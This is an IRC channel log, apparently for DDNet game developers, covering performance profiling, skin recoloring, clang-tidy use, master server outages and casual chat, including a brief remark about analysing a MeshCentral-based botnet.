bridge_> so when it picks "unknown" with choices, then takes [0] its "u" 20:08 < bridge_> so it can never exit 20:08 < bridge_> <.isyxmn.> its not a table 20:08 < bridge_> https://www.youtube.com/watch?v=2KdoTpFnV1g seems someone else stumbled upon this before 20:08 < bridge_> <.isyxmn.> well it works when it has a higher chance 20:09 < bridge_> oh right choices 20:09 < bridge_> scrap that 20:09 < bridge_> need more workers 20:09 < bridge_> but 0.000000000000000001 == 0 20:09 < bridge_> <.isyxmn.> yeah 20:09 < bridge_> <.isyxmn.> https://cdn.discordapp.com/attachments/293493549758939136/1359953474271449289/2025-04-10_20.09.19.png?ex=67f95ade&is=67f8095e&hm=cd3e9d58b401650514056f09e2f32a5d13caaf59253d5a6e91c4c0499aaeffe3& 20:09 < bridge_> Funnily enough the "virus" in the video uses a http request, not SMB 😄 20:09 < bridge_> also no 20:10 < bridge_> its just really small tho 20:11 < bridge_> <.isyxmn.> yea 20:11 < bridge_> <.isyxmn.> asf 20:12 < bridge_> floating point comparison is a mixed bag 20:13 < bridge_> I guess the person/persons/company developing MeshCentral isn't stupid enough to have any control credentials within the agent, so my investigation comes to an end. Overall I rate this virus 3/10. Very uninspired use of the botnet, there is no novel virus either just commercial software abused 20:13 < bridge_> yeah 20:14 < bridge_> i saw an iOS virus the other day 20:14 < bridge_> `MeshName=youtube` they are running one more operation of the same kind on the same server 20:14 < bridge_> more of an elaborate phishing scheme 20:14 < bridge_> but 20:14 < bridge_> lol 20:15 < bridge_> what would a novel virus be? xd 20:16 < bridge_> why are you asking him to define novel? that is the definition 20:16 < bridge_> give an example of novel virus 20:16 < bridge_> something new & not easily identified 20:16 < bridge_> something you'd never expect? 20:16 < bridge_> anything making use of new technology or smth 20:16 < bridge_> new technique 20:17 < bridge_> I'm not telling you, I might need it when/if I have to go over to the dark side 20:17 < bridge_> oki :3 20:17 < bridge_> I'll be taking over the world, none of this discordspam bs 20:17 < bridge_> i think discord is just very easy to exploit 20:17 < bridge_> low hanging fruit 20:17 < bridge_> easier than Facebook 20:17 < bridge_> everyone is already watching the chat 20:18 < bridge_> very few account verification restrictions on most servers 20:18 < bridge_> i will wait 20:18 < bridge_> This meshcentral thing seems to be open source. I might take a peek over the code, see if there is a weakness in the agent websocket to DoS this operation into oblivion 20:18 < bridge_> When I checkout DDNet 19.1 and measure frametimes, and then measure ddnet 19.2, then optimize the shit out of ddnet 19.2, I still have worse FPS, repeatedly 😦 20:18 < bridge_> 20:18 < bridge_> I wasn't able to figure out, which change I did that caused that, please send help 20:18 < bridge_> Do it 20:19 < bridge_> use a profiler? xd 20:19 < bridge_> Actually no, nvm. I won't be doing that. I don't want random loser to put a hit out on me on the darkweb 20:19 < bridge_> At least my optimizations seems to have worked, but not to the extend I wanted them to 20:20 < bridge_> you can still improve the physics 15x :troll: 20:20 < bridge_> Well if they made the fps worse, then they didn't work, no? 20:20 < bridge_> Instead of measuring the FPS, what if you measure only the time that the relevant old and new code takes? i.e. `time_get_nanoseconds()` before and after 20:20 < bridge_> optimizations compared to 19.2, all I pushed so far are just rewrites and cleanups 20:21 < bridge_> If your changes are in distinct commits, this is a very good time to use `git bisect` 20:21 < bridge_> :kek: 20:21 < bridge_> you’ll be fine 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 30s left 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 25s left 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 20s left 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 15s left 20:21 < bridge_> ddnet is getting deleted 20:21 < bridge_> You already have random losers hitting on you on the clearweb 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 10s left 20:21 < bridge_> no more blockers 20:21 < bridge_> no more hackers 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 5s left 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 4s left 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 3s left 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 2s left 20:21 < bridge_> no more bad ping servers 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 1s left 20:21 < bridge_> oxyzo called for vote to kick DDNet#1107 (😠) — 0s left 20:21 < bridge_> Vote passed. DDNet#1107 kicked by vote (😠) 20:22 < bridge_> When the next version of DDNet comes out, I'm sure someone will send a hit squad because of #10018 20:22 < bridge_> https://github.com/ddnet/ddnet/pull/10018 20:22 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) 20:22 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 30s left 20:22 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 25s left 20:22 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 20s left 20:22 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 15s left 20:22 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 10s left 20:23 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 5s left 20:23 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 4s left 20:23 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 3s left 20:23 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 2s left 20:23 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 1s left 20:23 < bridge_> Jupstar ✪ called for vote to kick jupeyy_keks (No reason given) — 0s left 20:23 < bridge_> Vote passed. jupeyy_keks kicked by vote (No reason given) 20:23 < bridge_> Honestly, I'm still unhappy with the results, could be better 20:23 < bridge_> This was quite enjoyable to dig around in actually. I should get back to doing some reverse engineering sometime 20:23 < bridge_> I was talking with mr freddie today, I noticed the 0.7 way is actually probably what one thinks of when told to "recolor" a skin 20:23 < bridge_> ban evasion 20:24 < bridge_> I swear it used to be more like that at one point, and I refuse to believe I'm crazy 20:24 < bridge_> Ofc, one always complains 20:24 < bridge_> https://ddnet.org/skins/skin/community/ahl_WarfoxOrangeGlow.png look at this skin. If I tell you I want a purple version of this, would you tint everything purple or replace the orange with purple? 20:24 < bridge_> Replace orange 20:25 < bridge_> But we get the whole skin purple for fun 20:25 < bridge_> Exactly, the way 0.6/ddnet recolors skins isn't really "recoloring" it's more like throwing paint over a skin 20:26 < bridge_> Racist feature 20:26 < bridge_> I dare say we need options, or just bandaid fix it and hope most people are sane 20:26 < bridge_> If we completely change it to the 0.7 way of recoloring I believe I would get shot 20:26 < bridge_> I'll take the blame honestly 20:27 < bridge_> Idk who tf would shoot you tbh, it's just better 20:27 < bridge_> We can maybe talk about having flags for it, e.g. you tell the server how you want your skin recolored 20:27 < bridge_> Better yet, I'll take full credit for the change 20:27 < bridge_> so I get all the happy updoots 20:28 < bridge_> You’re enough of a target 20:28 < bridge_> Not anymore I guess 20:28 < bridge_> We send a `NetBool` for `m_UseCustomColor` which is an entire integer in reality. We can shove flags in there in a backwards compatible way methinks 20:28 < bridge_> No blue name 😳 20:28 < bridge_> when did that happen 20:28 < bridge_> It's my secret power 20:29 < bridge_> Ill try to send a 2 or a 4, see what the server does 20:30 < bridge_> yea why don’t you just change it to NetIntegerVariant & an accompanying field describes the type, bool if absent 20:30 < bridge_> or smth like that 20:30 < bridge_> packing an int into a type called boolean is sketchy 20:31 < bridge_> It's a teeworlds varint, so it's fine for a bool, it'll get turbocompressed anyway 20:31 < bridge_> ah 20:31 < bridge_> ok, I'm starving, cya'll 20:32 < bridge_> see ya 20:32 < bridge_> eat something good 20:32 < bridge_> actually I need to figure out how to handle these broken teehistorian files :/ 20:32 < bridge_> ok, food first, then weird teehistorian files 20:32 < bridge_> gl 20:33 < bridge_> maybe i should eat 20:33 < bridge_> go eat some cactus 20:33 < bridge_> actually in a kfc kinda mood ngl 20:34 < bridge_> KFC in 🇺🇸 sux, or at least where I live 20:34 < bridge_> fast food is complete trash now 20:34 < bridge_> i could tolerate it as a kid 20:34 < bridge_> Ya I can't even stand mcdonalds anymore 20:34 < bridge_> whether that’s my perception or the quality I can’t say 20:34 < bridge_> but yea 20:35 < bridge_> even if it tastes good 1/3 of the time i wanna curl in a ball afterwards 20:35 < bridge_> I'd say 80% quality issues 20:35 < bridge_> fast is the only reason I ever eat fast food 20:35 < bridge_> i just forgo the whole thing usually 20:35 < bridge_> caffeine + amphetamine 20:35 < bridge_> and then i eat dinner and sleep 20:35 < bridge_> bro wired 20:35 < bridge_> terrible for your metabolism and long term health tho 20:35 < bridge_> don’t do it 20:36 < bridge_> also creates a crazy crash unless u snack in the daytime 20:36 < bridge_> i eat small oranges and granola bar 20:36 < bridge_> got a burrito instead 20:36 < bridge_> solid option 20:37 < bridge_> i love a burrito sometimes 20:38 < bridge_> i would eat them too often in the past tho 20:38 < bridge_> too easy to dismiss the idea 20:43 < bridge_> I wonder if #10020 is causing my issues 20:43 < bridge_> https://github.com/ddnet/ddnet/pull/10020 20:44 < bridge_> which issues do youhave 20:46 < bridge_> less frames 20:46 < bridge_> why don’t you profile it? 20:47 < bridge_> it is not hard 20:47 < bridge_> i doubt that changing 2 vars has such an impact 20:47 < bridge_> ubuntu user right? Qt Creator has a GUI profiler that’s pretty good 20:47 < bridge_> static vars are usually worse 20:47 < bridge_> ye, step one is grab my laptop 20:47 < bridge_> linux only 20:47 < bridge_> I also doubt that this is the issue 20:48 < bridge_> <-- mixed user 20:48 < bridge_> if ur on Windows then you more or less have to use Visual Studio 20:48 < bridge_> if u want a gui 20:49 < bridge_> apply lemon juice on your face to be invisible to cameras 20:49 < bridge_> :kek: 20:50 < bridge_> i heard sulfuric acid is actually better for that. they haven’t used lemon juice since every robber had striped jumpsuits 20:50 < bridge_> i heard sulfuric acid is actually better for that. they haven’t used lemon juice since every robber had a striped jumpsuit 21:01 < bridge_> where is spec position stored? 21:01 < bridge_> for freeview 21:04 < bridge_> (https://github.com/ddnet/ddnet/pull/10026 merge this plz) 21:09 < bridge_> 21:37 < bridge_> > The robberies directly inspired the research of the Dunning–Kruger effect 21:37 < bridge_> yeah…. 21:38 < bridge_> at least they are no robbytteries 21:38 < bridge_> yeah yeah, I'll move into the shame corner 21:39 < bridge_> how do i run clang tidy on cmake project so it shows me all the warnings? 21:39 < bridge_> with visual studio 21:40 < bridge_> tools >developer command prompt> clang-tidy -* 21:40 < bridge_> :greenthing: 21:46 < bridge_> ty will look how to make it work 21:58 < bridge_> ok i have to do it for every file individually but works 21:58 < bridge_> not a big project so dont mind 22:03 < ws-client> @0xdeen do you know why 45.142.178.158:8304 and tw-0.7+udp://45.142.178.158:8704 do not show up in the ddnet master anymore? They used to work for years i changed nothing. Same vps still has other servers registered successfully 22:03 < ws-client> and the 0.7 server also shows up in the teeworlds vanilla client 22:26 < bridge_> @totar discord isn't working but the \_\_bultin\_expect made it worse xd 22:28 < ws-client> i have the feeling more than just my vanilla servers are affected 22:28 < bridge_> chiller 22:28 < bridge_> why u ignore invite 22:28 < bridge_> yea 22:28 < ws-client> try searching zcatch 22:28 < ws-client> i find only one server 22:29 < ws-client> which invite @Jupstar ✪ 22:29 < bridge_> matrix 22:29 < bridge_> Teero: do you also see the double ping in matrix? 22:29 < ws-client> matrix sucks 22:30 < bridge_> yes 22:30 < bridge_> weird bug 22:30 < bridge_> in discord it's like this 22:30 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359988892345827601/image.png?ex=67f97bdb&is=67f82a5b&hm=a930c4cbaf597ec5994b9f31aae11b647309f3fae0e39f9ffde2dade88a59268& 22:30 < bridge_> hmm 22:30 < bridge_> discord is down for me 22:30 < bridge_> i can't get in 22:30 < bridge_> it was down earlier today for me 22:31 < ws-client> https://zillyhuhn.com/cs/.1744317082.png 22:31 < ws-client> i got no permissions to do nothing there 22:31 < ws-client> go add irc bridge 22:31 < ws-client> matrix is ass 22:32 < bridge_> true 22:32 < bridge_> but so is discord and irc 22:32 < ws-client> no irc is good 22:32 < bridge_> teeworlds ingame chat bridge 22:35 < bridge_> I figured I should show up once a while just to pretend I'm still dev. 22:35 < bridge_> Ok back to sleep now 22:37 < bridge_> maybe the invite is so old xd 22:37 < bridge_> wait 22:38 < bridge_> no, chiller join a room xd 22:38 < ws-client> already closed shittrix 22:38 < ws-client> will check again when im bored on my phone 22:38 < bridge_> bruh :( 22:39 < bridge_> oke 22:39 < bridge_> i won't come to your next kitchen meetup then! 22:39 < ws-client> using matrix on desktop is painful 22:39 < ws-client> you didnt come to last either 22:39 < ws-client> watafak 22:39 < bridge_> xdd 22:39 < bridge_> it was too long to walk 22:39 < ws-client> fair 22:39 < furo> ChillerDragon: The 0.6/0.7 master to HTTP master bridge probably broke, I guess 22:39 < ws-client> i still see some vanilla servers 22:40 < ws-client> for example ÆON tw-0.7+udp://46.101.195.242:8308 22:41 < ws-client> i have to say so far i appreciate the outage a lot 22:41 < ws-client> if players search for zCatch now they only find my server and nothing else 22:45 < bridge_> https://discord.com/channels/252358080522747904/342454474117218334/1359992576547098674 pls answer 22:46 < bridge_> It is the same as regular client. Through %appdata%. No steam cloud save support 22:47 < bridge_> thank you very much 🙂 22:47 < bridge_> :heartw: 22:47 < bridge_> teeworlds dir right? 22:48 < bridge_> It's called ddnet now 22:48 < bridge_> but its still teeworlds on mine device tho apparently 22:48 < bridge_> have got no ddnet 22:48 < bridge_> Possibly? That part I'm not so sure about 22:49 < bridge_> i played on nonsteam version earlier so maybe thats the cause 22:49 < bridge_> coz i see ddnet files inside 22:49 < bridge_> with recent modified date 22:49 < bridge_> Then maybe. 22:50 < bridge_> oh shit its 16gb 22:50 < bridge_> wtf 22:50 < bridge_> Ye demos 22:50 < furo> Yes, it will be `teeworlds` if you were playing before the rename. If you were to start over, it would be named `ddnet` instead. 22:50 < bridge_> ah right 22:51 < bridge_> I honestly thought we would duplicate it as a migration if there was a teeworlds/ddnet-settings.cfg. I just assumed. 22:51 < bridge_> :justatest: 22:52 < bridge_> ``` 22:52 < bridge_> Benchmarking in single-threaded mode... 22:52 < bridge_> TPS (mean ± σ): 7,001,091 ± 848 ticks/s 22:52 < bridge_> Range (min … max): 6,999,909 … 7,002,882 ticks/s 10 runs 22:52 < bridge_> ``` 22:52 < bridge_> :DDDDDD 22:53 < bridge_> +- 848 is consistent 23:07 < bridge_> I got another 30k from a bultin assume :P didn't actually expect them to do much 23:58 < bridge_> monster show in 0.6 but teeware doesn't, but everything seems ok in the two consoles 23:59 < bridge_> but even that monster shows in 0.6, it doesnt show in ddnet